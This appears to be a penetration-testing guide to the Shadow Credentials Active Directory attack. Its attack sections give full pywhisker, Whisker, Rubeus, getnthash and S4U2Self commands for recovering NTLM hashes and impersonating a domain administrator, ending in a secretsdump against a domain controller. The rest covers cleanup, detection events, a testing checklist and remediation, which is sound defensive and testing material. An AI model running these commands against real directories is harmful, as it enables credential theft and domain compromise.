Shadow Credentials
Exploit write access to the msDS-KeyCredentialLink attribute to add a key credential, enabling PKINIT authentication and obtaining NTLM hashes without knowing the password.
Information
Danger
msDS-KeyCredentialLink on the named accounts, and treat the
removal step as part of the technique: list the attribute, remove your device ID, and re-list to prove it is gone.
Tool Installation
pywhisker
Python shadow creds
pip install pywhisker
Certipy
PKINIT support
pip install certipy-ad
Attack Prerequisites
Requirements Check
- ✅ Domain Functional Level 2016 or higher
- ✅ At least one Domain Controller running Server 2016+
- ✅ Write access to target's msDS-KeyCredentialLink attribute
- ✅ Target account not protected by AdminSDHolder (or attack AdminSDHolder)
# Check domain functional level
Get-ADDomain | Select-Object DomainMode
# Check who has write access to KeyCredentialLink
# GenericAll, GenericWrite, or WriteProperty on msDS-KeyCredentialLink
Get-ADObject -Identity "CN=Target,CN=Users,DC=corp,DC=local" -Properties nTSecurityDescriptor |
Select-Object -ExpandProperty nTSecurityDescriptor |
Select-Object -ExpandProperty Access |
Where-Object {$_.ActiveDirectoryRights -match "GenericAll|GenericWrite|WriteProperty"}Adding Shadow Credentials
Using pywhisker (Linux)
# Add shadow credentials to target user
python3 pywhisker.py -d corp.local -u attacker -p 'Password123' --target victimuser --action add
# This outputs:
# - A certificate PFX file
# - The password for the PFX
# - Command to use with gettgtpkinit.py
# Get TGT using PKINIT
python3 gettgtpkinit.py corp.local/victimuser victimuser.ccache -cert-pfx victim.pfx -pfx-pass <password>
# Export ticket
export KRB5CCNAME=victimuser.ccache
# Get NTLM hash via U2U
python3 getnthash.py corp.local/victimuser -key <AS-REP key from previous command>Using Whisker (Windows)
# Add shadow credentials
Whisker.exe add /target:victimuser
# Output includes Rubeus command
# Use Rubeus to get TGT and NTLM hash
Rubeus.exe asktgt /user:victimuser /certificate:<base64cert> /password:<password> /nowrap /ptt
# Alternative: Get hash directly
Rubeus.exe asktgt /user:victimuser /certificate:<base64cert> /password:<password> /getcredentialsTargeting Computer Accounts
Shadow credentials on computer accounts allows privilege escalation through S4U2Self abuse.
# Add shadow creds to computer account (need write access)
python3 pywhisker.py -d corp.local -u attacker -p 'Password123' --target 'DC01$' --action add
# Get TGT for computer
python3 gettgtpkinit.py corp.local/'DC01$' dc01.ccache -cert-pfx dc01.pfx -pfx-pass <password>
# S4U2Self to impersonate admin
python3 gets4uticket.py kerberos+ccache://corp.local\DC01$:dc01.ccache@DC01.corp.local cifs/DC01.corp.local@corp.local administrator@corp.local administrator.ccache
# Use ticket
export KRB5CCNAME=administrator.ccache
secretsdump.py -k -no-pass DC01.corp.localCleanup
# List current shadow credentials
python3 pywhisker.py -d corp.local -u attacker -p 'Password123' --target victimuser --action list
# Remove specific device ID
python3 pywhisker.py -d corp.local -u attacker -p 'Password123' --target victimuser --action remove --device-id <DeviceID>
# Clear all shadow credentials
python3 pywhisker.py -d corp.local -u attacker -p 'Password123' --target victimuser --action clear
# Whisker cleanup (Windows)
Whisker.exe list /target:victimuser
Whisker.exe remove /target:victimuser /deviceid:<DeviceID>Detection & Blue Team
Shadow credentials leave one directory write and one unusual logon. The write is the reliable half: a
msDS-KeyCredentialLink change by an account that is not the target device or the Hello for Business
enrolment service has no benign explanation. The logon half is subtle — the certificate is self-signed, so unlike
every other PKINIT on the estate it has no corresponding enrolment event on the CA.
| Signal | Event / artefact | What it catches |
|---|---|---|
| Key credential written | 5136 on msDS-KeyCredentialLink |
A write by an actor that is neither the target computer nor the device-enrolment service. |
| Certificate logon with no enrolment | 4768 (PKINIT) with no 4886/4887 | The self-signed certificate behind the attack: authentication that never passed through the enterprise CA. |
| Credential removed | 5136 with a delete operation on the attribute | Attacker cleanup after use — worth correlating back to the write. |
| Write right granted | 5136 on nTSecurityDescriptor |
How the precondition was created, often days or weeks before the attack. |
External Resources
Shadow Credentials - SpecterOps
Original research by Elad Shamir
pywhisker - GitHub
Python shadow credentials tool
Whisker - GitHub
C# shadow credentials tool
HackTricks - Shadow Credentials
Attack walkthrough and examples
Practice Labs
Practice Shadow Credentials attacks
Evidence Collection
The key credential you added: Target object, device ID, the key blob and the timestamp of the write. This is also the cleanup list — an entry you cannot identify is an entry you cannot remove.
The authentication it produced:
The PKINIT 4768, the TGT, and — if you used getnthash — the recovered NTLM hash. Adding the credential is the prerequisite; the logon is the finding.
The write right that allowed it:
The ACE that granted GenericWrite/WriteProperty on msDS-KeyCredentialLink, or the AdminSDHolder inheritance that implied it, as found before the change.
Removal proof:
--action list before and after, showing the device ID gone. Shadow credentials are designed to persist; leaving one behind is a persistence finding against your own test.
CVSS range: Shadow credentials on an ordinary workstation account: 7.5 | On a server or privileged account: 8.8 | Used as persistence after privilege was obtained: 8.8, reported as an impact
False Positive Identification
-
A non-empty attribute is normal:
Windows Hello for Business and device registration both write
msDS-KeyCredentialLink. The finding is a credential you added, or one whose key has no matching device and no enrolment history. - A credential that PKINIT refuses: If the DC rejects the certificate (strong mapping, no DC authentication certificate), the write happened and the takeover did not. Report the write right, not domain compromise.
- A write right with no reachable target: AdminSDHolder-protected objects reject the write, and a right on an object you cannot name is not exploitable. Confirm the attribute actually changed.
- Cleanup done is still a finding: Removing the key removes the persistence, not the missing control — the write right is what the client has to fix.
Testing Checklist
The write is the prerequisite and the logon is the finding. Do not stop at the first one, and do not leave the second one behind.
Prove the write right
- ☐ The right (
GenericWriteorWritePropertyonmsDS-KeyCredentialLink) is confirmed on the target object before the add. - ☐
pywhiskerorWhisker --action addreturns a device ID, and--action listshows the same ID afterwards. - ☐ AdminSDHolder-protected objects are tested for the write; a refusal there is reported as a control, not as an attack that half worked.
- ☐ The attribute is read back from the directory, not only from the tool's own output.
Prove the credential works, then remove it
- ☐
getnthashreturns an NT hash, or PKINIT logs on as the target - one of the two is the proof that the key is usable. - ☐ The
4768from the PKINIT logon is paired with the absence of an enterprise-CA enrolment record, which is what separates this from a legitimate certificate logon. - ☐
--action listafter cleanup shows the device ID gone; a key left behind is persistence you gave the client. - ☐ An existing key-credential value is attributed to WHfB or device registration before it is reported as suspicious.
Remediation
Remove the write path
- • Audit who holds
GenericWrite,GenericAllorWritePropertyon user and computer objects — that right is the whole attack. - • Tier administration so a workstation-scoped delegation cannot reach a server or privileged account, and check AdminSDHolder's ACL after every change.
- • For service accounts, prefer gMSA over delegated write rights on a user object.
Detect the write, not the logon
- • Alert on
5136wheremsDS-KeyCredentialLinkis written by an account other than the target device or the WHfB enrolment service. - • Pair PKINIT
4768events against CA enrolment (4886/4887): shadow credentials use a self-signed certificate, so there is no enterprise-CA record behind the logon. - • Include key-credential writes in the same review as SID history and
primaryGroupIdchanges — they are the same class of quiet directory persistence.